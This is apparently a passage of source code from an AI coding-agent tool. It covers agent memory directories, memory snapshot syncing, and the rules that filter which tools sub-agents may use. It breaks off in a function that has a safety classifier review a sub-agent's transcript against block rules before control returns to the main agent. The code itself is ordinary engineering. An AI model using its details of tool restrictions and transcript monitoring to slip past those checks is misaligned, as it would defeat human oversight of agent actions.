,GAAAX,CAAA;QAAA;QAA1CQ,KAAK,CAAAM,IAAK,CAACH,EAA+B,CAAC;MAAA;MAEL,MAAAA,EAAA,MAAGD,MAAI,gBAAgB;MAAA,IAAAK,EAAA;MAAA,IAAAf,CAAA,SAAAW,EAAA;QAApDI,EAAA,IAAC,IAAI,CAAK,GAAiB,CAAjB,iBAAiB,CAAE,CAAAJ,EAAsB,CAAE,EAApD,IAAI,CAAuD;QAAAX,CAAA,OAAAW,EAAA;QAAAX,CAAA,OAAAe,EAAA;MAAA;QAAAA,EAAA,GAAAf,CAAA;MAAA;MAAvEQ,KAAK,CAAAM,IAAK,CAACC,EAA4D,CAAC;MACxEN,KAAK,EAAE;IAAA;IAGT,IAAIH,YAAY,GAAG,CAAC;MAClB,MAAAY,MAAA,GAAahB,aAAa,GACtBO,KAAK,KAAK,CAEC,GAFX,SAEW,GAFX,SAKS,GAFTA,KAAK,KAAK,CAED,GAFT,OAES,GAFT,OAES;MACb,IAAIA,KAAK,GAAG,CAAC;QAAA,IAAAE,EAAA;QAAA,IAAAX,CAAA,SAAAY,MAAA,CAAAC,GAAA;UACAF,EAAA,IAAC,IAAI,CAAK,GAAW,CAAX,WAAW,CAAC,EAAE,EAAvB,IAAI,CAA0B;UAAAX,CAAA,OAAAW,EAAA;QAAA;UAAAA,EAAA,GAAAX,CAAA;QAAA;QAA1CQ,KAAK,CAAAM,IAAK,CAACH,EAA+B,CAAC;MAAA;MAC5C,IAAAA,EAAA;MAAA,IAAAX,CAAA,SAAAM,YAAA;QAGUK,EAAA,IAAC,IAAI,CAAC,IAAI,CAAJ,KAAG,CAAC,CAAEL,aAAW,CAAE,EAAxB,IAAI,CAA2B;QAAAN,CAAA,OAAAM,YAAA;QAAAN,CAAA,OAAAW,EAAA;MAAA;QAAAA,EAAA,GAAAX,CAAA;MAAA;MACtC,MAAAe,EAAA,GAAAT,YAAY,KAAK,CAAyB,GAA1C,QAA0C,GAA1C,UAA0C;MAAA,IAAAU,EAAA;MAAA,IAAAhB,CAAA,SAAAW,EAAA,IAAAX,CAAA,SAAAe,EAAA,IAAAf,CAAA,SAAAkB,MAAA;QAF7CF,EAAA,IAAC,IAAI,CAAK,GAAgB,CAAhB,gBAAgB,CACvBN,OAAG,CAAE,CAAC,CAAAC,EAA+B,CAAC,KAAM,IAAE,CAC9C,CAAAI,EAAyC,CAC5C,EAHC,IAAI,CAGE;QAAAf,CAAA,OAAAW,EAAA;QAAAX,CAAA,OAAAe,EAAA;QAAAf,CAAA,OAAAkB,MAAA;QAAAlB,CAAA,OAAAgB,EAAA;MAAA;QAAAA,EAAA,GAAAhB,CAAA;MAAA;MAJTQ,KAAK,CAAAM,IAAK,CACRE,EAIF,CAAC;IAAA;IAGIT,EAAA,KAAGC,MAAI,CAAC,GAAI;IAAAR,CAAA,MAAAG,iBAAA;IAAAH,CAAA,MAAAE,aAAA;IAAAF,CAAA,MAAAI,WAAA;IAAAJ,CAAA,MAAAK,aAAA;IAAAL,CAAA,MAAAM,YAAA;IAAAN,CAAA,MAAAO,EAAA;EAAA;IAAAA,EAAA,GAAAP,CAAA;EAAA;EAAA,OAAZO,EAAY;AAAA","ignoreList":[]}

src/entrypoints/sdk/coreTypes.generated.ts

@@ -0,0 +1,4 @@
+// Generated SDK type definitions are omitted from this source snapshot.
+// Runtime code imports this module through `export *`; an empty module keeps
+// source-mode execution working because those generated exports are type-only.
+export {}

src/tools/AgentTool/agentDisplay.ts

@@ -0,0 +1,104 @@
+/**
+ * Shared utilities for displaying agent information.
+ * Used by both the CLI `claude agents` handler and the interactive `/agents` command.
+ */
+
+import { getDefaultSubagentModel } from '../../utils/model/agent.js'
+import {
+  getSourceDisplayName,
+  type SettingSource,
+} from '../../utils/settings/constants.js'
+import type { AgentDefinition } from './loadAgentsDir.js'
+
+type AgentSource = SettingSource | 'built-in' | 'plugin'
+
+export type AgentSourceGroup = {
+  label: string
+  source: AgentSource
+}
+
+/**
+ * Ordered list of agent source groups for display.
+ * Both the CLI and interactive UI should use this to ensure consistent ordering.
+ */
+export const AGENT_SOURCE_GROUPS: AgentSourceGroup[] = [
+  { label: 'User agents', source: 'userSettings' },
+  { label: 'Project agents', source: 'projectSettings' },
+  { label: 'Local agents', source: 'localSettings' },
+  { label: 'Managed agents', source: 'policySettings' },
+  { label: 'Plugin agents', source: 'plugin' },
+  { label: 'CLI arg agents', source: 'flagSettings' },
+  { label: 'Built-in agents', source: 'built-in' },
+]
+
+export type ResolvedAgent = AgentDefinition & {
+  overriddenBy?: AgentSource
+}
+
+/**
+ * Annotate agents with override information by comparing against the active
+ * (winning) agent list. An agent is "overridden" when another agent with the
+ * same type from a higher-priority source takes precedence.
+ *
+ * Also deduplicates by (agentType, source) to handle git worktree duplicates
+ * where the same agent file is loaded from both the worktree and main repo.
+ */
+export function resolveAgentOverrides(
+  allAgents: AgentDefinition[],
+  activeAgents: AgentDefinition[],
+): ResolvedAgent[] {
+  const activeMap = new Map<string, AgentDefinition>()
+  for (const agent of activeAgents) {
+    activeMap.set(agent.agentType, agent)
+  }
+
+  const seen = new Set<string>()
+  const resolved: ResolvedAgent[] = []
+
+  // Iterate allAgents, annotating each with override info from activeAgents.
+  // Deduplicate by (agentType, source) to handle git worktree duplicates.
+  for (const agent of allAgents) {
+    const key = `${agent.agentType}:${agent.source}`
+    if (seen.has(key)) continue
+    seen.add(key)
+
+    const active = activeMap.get(agent.agentType)
+    const overriddenBy =
+      active && active.source !== agent.source ? active.source : undefined
+    resolved.push({ ...agent, overriddenBy })
+  }
+
+  return resolved
+}
+
+/**
+ * Resolve the display model string for an agent.
+ * Returns the model alias or 'inherit' for display purposes.
+ */
+export function resolveAgentModelDisplay(
+  agent: AgentDefinition,
+): string | undefined {
+  const model = agent.model || getDefaultSubagentModel()
+  if (!model) return undefined
+  return model === 'inherit' ? 'inherit' : model
+}
+
+/**
+ * Get a human-readable label for the source that overrides an agent.
+ * Returns lowercase, e.g. "user", "project", "managed".
+ */
+export function getOverrideSourceLabel(source: AgentSource): string {
+  return getSourceDisplayName(source).toLowerCase()
+}
+
+/**
+ * Compare agents alphabetically by name (case-insensitive).
+ */
+export function compareAgentsByName(
+  a: AgentDefinition,
+  b: AgentDefinition,
+): number {
+  return a.agentType.localeCompare(b.agentType, undefined, {
+    sensitivity: 'base',
+  })
+}

src/tools/AgentTool/agentMemory.ts

@@ -0,0 +1,177 @@
+import { join, normalize, sep } from 'path'
+import { getProjectRoot } from '../../bootstrap/state.js'
+import {
+  buildMemoryPrompt,
+  ensureMemoryDirExists,
+} from '../../memdir/memdir.js'
+import { getMemoryBaseDir } from '../../memdir/paths.js'
+import { getCwd } from '../../utils/cwd.js'
+import { findCanonicalGitRoot } from '../../utils/git.js'
+import { sanitizePath } from '../../utils/path.js'
+
+// Persistent agent memory scope: 'user' (~/.claude/agent-memory/), 'project' (.claude/agent-memory/), or 'local' (.claude/agent-memory-local/)
+export type AgentMemoryScope = 'user' | 'project' | 'local'
+
+/**
+ * Sanitize an agent type name for use as a directory name.
+ * Replaces colons (invalid on Windows, used in plugin-namespaced agent
+ * types like "my-plugin:my-agent") with dashes.
+ */
+function sanitizeAgentTypeForPath(agentType: string): string {
+  return agentType.replace(/:/g, '-')
+}
+
+/**
+ * Returns the local agent memory directory, which is project-specific and not checked into VCS.
+ * When CLAUDE_CODE_REMOTE_MEMORY_DIR is set, persists to the mount with project namespacing.
+ * Otherwise, uses <cwd>/.claude/agent-memory-local/<agentType>/.
+ */
+function getLocalAgentMemoryDir(dirName: string): string {
+  if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
+    return (
+      join(
+        process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR,
+        'projects',
+        sanitizePath(
+          findCanonicalGitRoot(getProjectRoot()) ?? getProjectRoot(),
+        ),
+        'agent-memory-local',
+        dirName,
+      ) + sep
+    )
+  }
+  return join(getCwd(), '.claude', 'agent-memory-local', dirName) + sep
+}
+
+/**
+ * Returns the agent memory directory for a given agent type and scope.
+ * - 'user' scope: <memoryBase>/agent-memory/<agentType>/
+ * - 'project' scope: <cwd>/.claude/agent-memory/<agentType>/
+ * - 'local' scope: see getLocalAgentMemoryDir()
+ */
+export function getAgentMemoryDir(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  const dirName = sanitizeAgentTypeForPath(agentType)
+  switch (scope) {
+    case 'project':
+      return join(getCwd(), '.claude', 'agent-memory', dirName) + sep
+    case 'local':
+      return getLocalAgentMemoryDir(dirName)
+    case 'user':
+      return join(getMemoryBaseDir(), 'agent-memory', dirName) + sep
+  }
+}
+
+// Check if file is within an agent memory directory (any scope).
+export function isAgentMemoryPath(absolutePath: string): boolean {
+  // SECURITY: Normalize to prevent path traversal bypasses via .. segments
+  const normalizedPath = normalize(absolutePath)
+  const memoryBase = getMemoryBaseDir()
+
+  // User scope: check memory base (may be custom dir or config home)
+  if (normalizedPath.startsWith(join(memoryBase, 'agent-memory') + sep)) {
+    return true
+  }
+
+  // Project scope: always cwd-based (not redirected)
+  if (
+    normalizedPath.startsWith(join(getCwd(), '.claude', 'agent-memory') + sep)
+  ) {
+    return true
+  }
+
+  // Local scope: persisted to mount when CLAUDE_CODE_REMOTE_MEMORY_DIR is set, otherwise cwd-based
+  if (process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR) {
+    if (
+      normalizedPath.includes(sep + 'agent-memory-local' + sep) &&
+      normalizedPath.startsWith(
+        join(process.env.CLAUDE_CODE_REMOTE_MEMORY_DIR, 'projects') + sep,
+      )
+    ) {
+      return true
+    }
+  } else if (
+    normalizedPath.startsWith(
+      join(getCwd(), '.claude', 'agent-memory-local') + sep,
+    )
+  ) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Returns the agent memory file path for a given agent type and scope.
+ */
+export function getAgentMemoryEntrypoint(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  return join(getAgentMemoryDir(agentType, scope), 'MEMORY.md')
+}
+
+export function getMemoryScopeDisplay(
+  memory: AgentMemoryScope | undefined,
+): string {
+  switch (memory) {
+    case 'user':
+      return `User (${join(getMemoryBaseDir(), 'agent-memory')}/)`
+    case 'project':
+      return 'Project (.claude/agent-memory/)'
+    case 'local':
+      return `Local (${getLocalAgentMemoryDir('...')})`
+    default:
+      return 'None'
+  }
+}
+
+/**
+ * Load persistent memory for an agent with memory enabled.
+ * Creates the memory directory if needed and returns a prompt with memory contents.
+ *
+ * @param agentType The agent's type name (used as directory name)
+ * @param scope 'user' for ~/.claude/agent-memory/ or 'project' for .claude/agent-memory/
+ */
+export function loadAgentMemoryPrompt(
+  agentType: string,
+  scope: AgentMemoryScope,
+): string {
+  let scopeNote: string
+  switch (scope) {
+    case 'user':
+      scopeNote =
+        '- Since this memory is user-scope, keep learnings general since they apply across all projects'
+      break
+    case 'project':
+      scopeNote =
+        '- Since this memory is project-scope and shared with your team via version control, tailor your memories to this project'
+      break
+    case 'local':
+      scopeNote =
+        '- Since this memory is local-scope (not checked into version control), tailor your memories to this project and machine'
+      break
+  }
+
+  const memoryDir = getAgentMemoryDir(agentType, scope)
+
+  // Fire-and-forget: this runs at agent-spawn time inside a sync
+  // getSystemPrompt() callback (called from React render in AgentDetail.tsx,
+  // so it cannot be async). The spawned agent won't try to Write until after
+  // a full API round-trip, by which time mkdir will have completed. Even if
+  // it hasn't, FileWriteTool does its own mkdir of the parent directory.
+  void ensureMemoryDirExists(memoryDir)
+
+  const coworkExtraGuidelines =
+    process.env.CLAUDE_COWORK_MEMORY_EXTRA_GUIDELINES
+  return buildMemoryPrompt({
+    displayName: 'Persistent Agent Memory',
+    memoryDir,
+    extraGuidelines:
+      coworkExtraGuidelines && coworkExtraGuidelines.trim().length > 0
+        ? [scopeNote, coworkExtraGuidelines]
+        : [scopeNote],
+  })
+}

src/tools/AgentTool/agentMemorySnapshot.ts

@@ -0,0 +1,197 @@
+import { mkdir, readdir, readFile, unlink, writeFile } from 'fs/promises'
+import { join } from 'path'
+import { z } from 'zod/v4'
+import { getCwd } from '../../utils/cwd.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import { jsonParse, jsonStringify } from '../../utils/slowOperations.js'
+import { type AgentMemoryScope, getAgentMemoryDir } from './agentMemory.js'
+
+const SNAPSHOT_BASE = 'agent-memory-snapshots'
+const SNAPSHOT_JSON = 'snapshot.json'
+const SYNCED_JSON = '.snapshot-synced.json'
+
+const snapshotMetaSchema = lazySchema(() =>
+  z.object({
+    updatedAt: z.string().min(1),
+  }),
+)
+
+const syncedMetaSchema = lazySchema(() =>
+  z.object({
+    syncedFrom: z.string().min(1),
+  }),
+)
+type SyncedMeta = z.infer<ReturnType<typeof syncedMetaSchema>>
+
+/**
+ * Returns the path to the snapshot directory for an agent in the current project.
+ * e.g., <cwd>/.claude/agent-memory-snapshots/<agentType>/
+ */
+export function getSnapshotDirForAgent(agentType: string): string {
+  return join(getCwd(), '.claude', SNAPSHOT_BASE, agentType)
+}
+
+function getSnapshotJsonPath(agentType: string): string {
+  return join(getSnapshotDirForAgent(agentType), SNAPSHOT_JSON)
+}
+
+function getSyncedJsonPath(agentType: string, scope: AgentMemoryScope): string {
+  return join(getAgentMemoryDir(agentType, scope), SYNCED_JSON)
+}
+
+async function readJsonFile<T>(
+  path: string,
+  schema: z.ZodType<T>,
+): Promise<T | null> {
+  try {
+    const content = await readFile(path, { encoding: 'utf-8' })
+    const result = schema.safeParse(jsonParse(content))
+    return result.success ? result.data : null
+  } catch {
+    return null
+  }
+}
+
+async function copySnapshotToLocal(
+  agentType: string,
+  scope: AgentMemoryScope,
+): Promise<void> {
+  const snapshotMemDir = getSnapshotDirForAgent(agentType)
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+
+  await mkdir(localMemDir, { recursive: true })
+
+  try {
+    const files = await readdir(snapshotMemDir, { withFileTypes: true })
+    for (const dirent of files) {
+      if (!dirent.isFile() || dirent.name === SNAPSHOT_JSON) continue
+      const content = await readFile(join(snapshotMemDir, dirent.name), {
+        encoding: 'utf-8',
+      })
+      await writeFile(join(localMemDir, dirent.name), content)
+    }
+  } catch (e) {
+    logForDebugging(`Failed to copy snapshot to local agent memory: ${e}`)
+  }
+}
+
+async function saveSyncedMeta(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  const syncedPath = getSyncedJsonPath(agentType, scope)
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+  await mkdir(localMemDir, { recursive: true })
+  const meta: SyncedMeta = { syncedFrom: snapshotTimestamp }
+  try {
+    await writeFile(syncedPath, jsonStringify(meta))
+  } catch (e) {
+    logForDebugging(`Failed to save snapshot sync metadata: ${e}`)
+  }
+}
+
+/**
+ * Check if a snapshot exists and whether it's newer than what we last synced.
+ */
+export async function checkAgentMemorySnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+): Promise<{
+  action: 'none' | 'initialize' | 'prompt-update'
+  snapshotTimestamp?: string
+}> {
+  const snapshotMeta = await readJsonFile(
+    getSnapshotJsonPath(agentType),
+    snapshotMetaSchema(),
+  )
+
+  if (!snapshotMeta) {
+    return { action: 'none' }
+  }
+
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+
+  let hasLocalMemory = false
+  try {
+    const dirents = await readdir(localMemDir, { withFileTypes: true })
+    hasLocalMemory = dirents.some(d => d.isFile() && d.name.endsWith('.md'))
+  } catch {
+    // Directory doesn't exist
+  }
+
+  if (!hasLocalMemory) {
+    return { action: 'initialize', snapshotTimestamp: snapshotMeta.updatedAt }
+  }
+
+  const syncedMeta = await readJsonFile(
+    getSyncedJsonPath(agentType, scope),
+    syncedMetaSchema(),
+  )
+
+  if (
+    !syncedMeta ||
+    new Date(snapshotMeta.updatedAt) > new Date(syncedMeta.syncedFrom)
+  ) {
+    return {
+      action: 'prompt-update',
+      snapshotTimestamp: snapshotMeta.updatedAt,
+    }
+  }
+
+  return { action: 'none' }
+}
+
+/**
+ * Initialize local agent memory from a snapshot (first-time setup).
+ */
+export async function initializeFromSnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  logForDebugging(
+    `Initializing agent memory for ${agentType} from project snapshot`,
+  )
+  await copySnapshotToLocal(agentType, scope)
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}
+
+/**
+ * Replace local agent memory with the snapshot.
+ */
+export async function replaceFromSnapshot(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  logForDebugging(
+    `Replacing agent memory for ${agentType} with project snapshot`,
+  )
+  // Remove existing .md files before copying to avoid orphans
+  const localMemDir = getAgentMemoryDir(agentType, scope)
+  try {
+    const existing = await readdir(localMemDir, { withFileTypes: true })
+    for (const dirent of existing) {
+      if (dirent.isFile() && dirent.name.endsWith('.md')) {
+        await unlink(join(localMemDir, dirent.name))
+      }
+    }
+  } catch {
+    // Directory may not exist yet
+  }
+  await copySnapshotToLocal(agentType, scope)
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}
+
+/**
+ * Mark the current snapshot as synced without changing local memory.
+ */
+export async function markSnapshotSynced(
+  agentType: string,
+  scope: AgentMemoryScope,
+  snapshotTimestamp: string,
+): Promise<void> {
+  await saveSyncedMeta(agentType, scope, snapshotTimestamp)
+}

src/tools/AgentTool/agentToolUtils.ts

@@ -0,0 +1,686 @@
+import { feature } from 'bun:bundle'
+import { z } from 'zod/v4'
+import { clearInvokedSkillsForAgent } from '../../bootstrap/state.js'
+import {
+  ALL_AGENT_DISALLOWED_TOOLS,
+  ASYNC_AGENT_ALLOWED_TOOLS,
+  CUSTOM_AGENT_DISALLOWED_TOOLS,
+  IN_PROCESS_TEAMMATE_ALLOWED_TOOLS,
+} from '../../constants/tools.js'
+import { startAgentSummarization } from '../../services/AgentSummary/agentSummary.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../../services/analytics/index.js'
+import { clearDumpState } from '../../services/api/dumpPrompts.js'
+import type { AppState } from '../../state/AppState.js'
+import type {
+  Tool,
+  ToolPermissionContext,
+  Tools,
+  ToolUseContext,
+} from '../../Tool.js'
+import { toolMatchesName } from '../../Tool.js'
+import {
+  completeAgentTask as completeAsyncAgent,
+  createActivityDescriptionResolver,
+  createProgressTracker,
+  enqueueAgentNotification,
+  failAgentTask as failAsyncAgent,
+  getProgressUpdate,
+  getTokenCountFromTracker,
+  isLocalAgentTask,
+  killAsyncAgent,
+  type ProgressTracker,
+  updateAgentProgress as updateAsyncAgentProgress,
+  updateProgressFromMessage,
+} from '../../tasks/LocalAgentTask/LocalAgentTask.js'
+import { asAgentId } from '../../types/ids.js'
+import type { Message as MessageType } from '../../types/message.js'
+import { isAgentSwarmsEnabled } from '../../utils/agentSwarmsEnabled.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { isInProtectedNamespace } from '../../utils/envUtils.js'
+import { AbortError, errorMessage } from '../../utils/errors.js'
+import type { CacheSafeParams } from '../../utils/forkedAgent.js'
+import { lazySchema } from '../../utils/lazySchema.js'
+import {
+  extractTextContent,
+  getLastAssistantMessage,
+} from '../../utils/messages.js'
+import type { PermissionMode } from '../../utils/permissions/PermissionMode.js'
+import { permissionRuleValueFromString } from '../../utils/permissions/permissionRuleParser.js'
+import {
+  buildTranscriptForClassifier,
+  classifyYoloAction,
+} from '../../utils/permissions/yoloClassifier.js'
+import { emitTaskProgress as emitTaskProgressEvent } from '../../utils/task/sdkProgress.js'
+import { isInProcessTeammate } from '../../utils/teammateContext.js'
+import { getTokenCountFromUsage } from '../../utils/tokens.js'
+import { EXIT_PLAN_MODE_V2_TOOL_NAME } from '../ExitPlanModeTool/constants.js'
+import { AGENT_TOOL_NAME, LEGACY_AGENT_TOOL_NAME } from './constants.js'
+import type { AgentDefinition } from './loadAgentsDir.js'
+export type ResolvedAgentTools = {
+  hasWildcard: boolean
+  validTools: string[]
+  invalidTools: string[]
+  resolvedTools: Tools
+  allowedAgentTypes?: string[]
+}
+
+export function filterToolsForAgent({
+  tools,
+  isBuiltIn,
+  isAsync = false,
+  permissionMode,
+}: {
+  tools: Tools
+  isBuiltIn: boolean
+  isAsync?: boolean
+  permissionMode?: PermissionMode
+}): Tools {
+  return tools.filter(tool => {
+    // Allow MCP tools for all agents
+    if (tool.name.startsWith('mcp__')) {
+      return true
+    }
+    // Allow ExitPlanMode for agents in plan mode (e.g., in-process teammates)
+    // This bypasses both the ALL_AGENT_DISALLOWED_TOOLS and async tool filters
+    if (
+      toolMatchesName(tool, EXIT_PLAN_MODE_V2_TOOL_NAME) &&
+      permissionMode === 'plan'
+    ) {
+      return true
+    }
+    if (ALL_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
+      return false
+    }
+    if (!isBuiltIn && CUSTOM_AGENT_DISALLOWED_TOOLS.has(tool.name)) {
+      return false
+    }
+    if (isAsync && !ASYNC_AGENT_ALLOWED_TOOLS.has(tool.name)) {
+      if (isAgentSwarmsEnabled() && isInProcessTeammate()) {
+        // Allow AgentTool for in-process teammates to spawn sync subagents.
+        // Validation in AgentTool.call() prevents background agents and teammate spawning.
+        if (toolMatchesName(tool, AGENT_TOOL_NAME)) {
+          return true
+        }
+        // Allow task tools for in-process teammates to coordinate via shared task list
+        if (IN_PROCESS_TEAMMATE_ALLOWED_TOOLS.has(tool.name)) {
+          return true
+        }
+      }
+      return false
+    }
+    return true
+  })
+}
+
+/**
+ * Resolves and validates agent tools against available tools
+ * Handles wildcard expansion and validation in one place
+ */
+export function resolveAgentTools(
+  agentDefinition: Pick<
+    AgentDefinition,
+    'tools' | 'disallowedTools' | 'source' | 'permissionMode'
+  >,
+  availableTools: Tools,
+  isAsync = false,
+  isMainThread = false,
+): ResolvedAgentTools {
+  const {
+    tools: agentTools,
+    disallowedTools,
+    source,
+    permissionMode,
+  } = agentDefinition
+  // When isMainThread is true, skip filterToolsForAgent entirely — the main
+  // thread's tool pool is already properly assembled by useMergedTools(), so
+  // the sub-agent disallow lists shouldn't apply.
+  const filteredAvailableTools = isMainThread
+    ? availableTools
+    : filterToolsForAgent({
+        tools: availableTools,
+        isBuiltIn: source === 'built-in',
+        isAsync,
+        permissionMode,
+      })
+
+  // Create a set of disallowed tool names for quick lookup
+  const disallowedToolSet = new Set(
+    disallowedTools?.map(toolSpec => {
+      const { toolName } = permissionRuleValueFromString(toolSpec)
+      return toolName
+    }) ?? [],
+  )
+
+  // Filter available tools based on disallowed list
+  const allowedAvailableTools = filteredAvailableTools.filter(
+    tool => !disallowedToolSet.has(tool.name),
+  )
+
+  // If tools is undefined or ['*'], allow all tools (after filtering disallowed)
+  const hasWildcard =
+    agentTools === undefined ||
+    (agentTools.length === 1 && agentTools[0] === '*')
+  if (hasWildcard) {
+    return {
+      hasWildcard: true,
+      validTools: [],
+      invalidTools: [],
+      resolvedTools: allowedAvailableTools,
+    }
+  }
+
+  const availableToolMap = new Map<string, Tool>()
+  for (const tool of allowedAvailableTools) {
+    availableToolMap.set(tool.name, tool)
+  }
+
+  const validTools: string[] = []
+  const invalidTools: string[] = []
+  const resolved: Tool[] = []
+  const resolvedToolsSet = new Set<Tool>()
+  let allowedAgentTypes: string[] | undefined
+
+  for (const toolSpec of agentTools) {
+    // Parse the tool spec to extract the base tool name and any permission pattern
+    const { toolName, ruleContent } = permissionRuleValueFromString(toolSpec)
+
+    // Special case: Agent tool carries allowedAgentTypes metadata in its spec
+    if (toolName === AGENT_TOOL_NAME) {
+      if (ruleContent) {
+        // Parse comma-separated agent types: "worker, researcher" → ["worker", "researcher"]
+        allowedAgentTypes = ruleContent.split(',').map(s => s.trim())
+      }
+      // For sub-agents, Agent is excluded by filterToolsForAgent — mark the spec
+      // valid for allowedAgentTypes tracking but skip tool resolution.
+      if (!isMainThread) {
+        validTools.push(toolSpec)
+        continue
+      }
+      // For main thread, filtering was skipped so Agent is in availableToolMap —
+      // fall through to normal resolution below.
+    }
+
+    const tool = availableToolMap.get(toolName)
+    if (tool) {
+      validTools.push(toolSpec)
+      if (!resolvedToolsSet.has(tool)) {
+        resolved.push(tool)
+        resolvedToolsSet.add(tool)
+      }
+    } else {
+      invalidTools.push(toolSpec)
+    }
+  }
+
+  return {
+    hasWildcard: false,
+    validTools,
+    invalidTools,
+    resolvedTools: resolved,
+    allowedAgentTypes,
+  }
+}
+
+export const agentToolResultSchema = lazySchema(() =>
+  z.object({
+    agentId: z.string(),
+    // Optional: older persisted sessions won't have this (resume replays
+    // results verbatim without re-validation). Used to gate the sync
+    // result trailer — one-shot built-ins skip the SendMessage hint.
+    agentType: z.string().optional(),
+    content: z.array(z.object({ type: z.literal('text'), text: z.string() })),
+    totalToolUseCount: z.number(),
+    totalDurationMs: z.number(),
+    totalTokens: z.number(),
+    usage: z.object({
+      input_tokens: z.number(),
+      output_tokens: z.number(),
+      cache_creation_input_tokens: z.number().nullable(),
+      cache_read_input_tokens: z.number().nullable(),
+      server_tool_use: z
+        .object({
+          web_search_requests: z.number(),
+          web_fetch_requests: z.number(),
+        })
+        .nullable(),
+      service_tier: z.enum(['standard', 'priority', 'batch']).nullable(),
+      cache_creation: z
+        .object({
+          ephemeral_1h_input_tokens: z.number(),
+          ephemeral_5m_input_tokens: z.number(),
+        })
+        .nullable(),
+    }),
+  }),
+)
+
+export type AgentToolResult = z.input<ReturnType<typeof agentToolResultSchema>>
+
+export function countToolUses(messages: MessageType[]): number {
+  let count = 0
+  for (const m of messages) {
+    if (m.type === 'assistant') {
+      for (const block of m.message.content) {
+        if (block.type === 'tool_use') {
+          count++
+        }
+      }
+    }
+  }
+  return count
+}
+
+export function finalizeAgentTool(
+  agentMessages: MessageType[],
+  agentId: string,
+  metadata: {
+    prompt: string
+    resolvedAgentModel: string
+    isBuiltInAgent: boolean
+    startTime: number
+    agentType: string
+    isAsync: boolean
+  },
+): AgentToolResult {
+  const {
+    prompt,
+    resolvedAgentModel,
+    isBuiltInAgent,
+    startTime,
+    agentType,
+    isAsync,
+  } = metadata
+
+  const lastAssistantMessage = getLastAssistantMessage(agentMessages)
+  if (lastAssistantMessage === undefined) {
+    throw new Error('No assistant messages found')
+  }
+  // Extract text content from the agent's response. If the final assistant
+  // message is a pure tool_use block (loop exited mid-turn), fall back to
+  // the most recent assistant message that has text content.
+  let content = lastAssistantMessage.message.content.filter(
+    _ => _.type === 'text',
+  )
+  if (content.length === 0) {
+    for (let i = agentMessages.length - 1; i >= 0; i--) {
+      const m = agentMessages[i]!
+      if (m.type !== 'assistant') continue
+      const textBlocks = m.message.content.filter(_ => _.type === 'text')
+      if (textBlocks.length > 0) {
+        content = textBlocks
+        break
+      }
+    }
+  }
+
+  const totalTokens = getTokenCountFromUsage(lastAssistantMessage.message.usage)
+  const totalToolUseCount = countToolUses(agentMessages)
+
+  logEvent('tengu_agent_tool_completed', {
+    agent_type:
+      agentType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    model:
+      resolvedAgentModel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    prompt_char_count: prompt.length,
+    response_char_count: content.length,
+    assistant_message_count: agentMessages.length,
+    total_tool_uses: totalToolUseCount,
+    duration_ms: Date.now() - startTime,
+    total_tokens: totalTokens,
+    is_built_in_agent: isBuiltInAgent,
+    is_async: isAsync,
+  })
+
+  // Signal to inference that this subagent's cache chain can be evicted.
+  const lastRequestId = lastAssistantMessage.requestId
+  if (lastRequestId) {
+    logEvent('tengu_cache_eviction_hint', {
+      scope:
+        'subagent_end' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      last_request_id:
+        lastRequestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    })
+  }
+
+  return {
+    agentId,
+    agentType,
+    content,
+    totalDurationMs: Date.now() - startTime,
+    totalTokens,
+    totalToolUseCount,
+    usage: lastAssistantMessage.message.usage,
+  }
+}
+
+/**
+ * Returns the name of the last tool_use block in an assistant message,
+ * or undefined if the message is not an assistant message with tool_use.
+ */
+export function getLastToolUseName(message: MessageType): string | undefined {
+  if (message.type !== 'assistant') return undefined
+  const block = message.message.content.findLast(b => b.type === 'tool_use')
+  return block?.type === 'tool_use' ? block.name : undefined
+}
+
+export function emitTaskProgress(
+  tracker: ProgressTracker,
+  taskId: string,
+  toolUseId: string | undefined,
+  description: string,
+  startTime: number,
+  lastToolName: string,
+): void {
+  const progress = getProgressUpdate(tracker)
+  emitTaskProgressEvent({
+    taskId,
+    toolUseId,
+    description: progress.lastActivity?.activityDescription ?? description,
+    startTime,
+    totalTokens: progress.tokenCount,
+    toolUses: progress.toolUseCount,
+    lastToolName,
+  })
+}
+
+export async function classifyHandoffIfNeeded({
+  agentMessages,
+  tools,
+  toolPermissionContext,
+  abortSignal,
+  subagentType,
+  totalToolUseCount,
+}: {
+  agentMessages: MessageType[]
+  tools: Tools
+  toolPermissionContext: AppState['toolPermissionContext']
+  abortSignal: AbortSignal
+  subagentType: string
+  totalToolUseCount: number
+}): Promise<string | null> {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    if (toolPermissionContext.mode !== 'auto') return null
+
+    const agentTranscript = buildTranscriptForClassifier(agentMessages, tools)
+    if (!agentTranscript) return null
+
+    const classifierResult = await classifyYoloAction(
+      agentMessages,
+      {
+        role: 'user',
+        content: [
+          {
+            type: 'text',
+            text: "Sub-agent has finished and is handing back control to the main agent. Review the sub-agent's work based on the block rules and let the main agent know if any file is dangerous (the main agent will see the reason).",
+          },
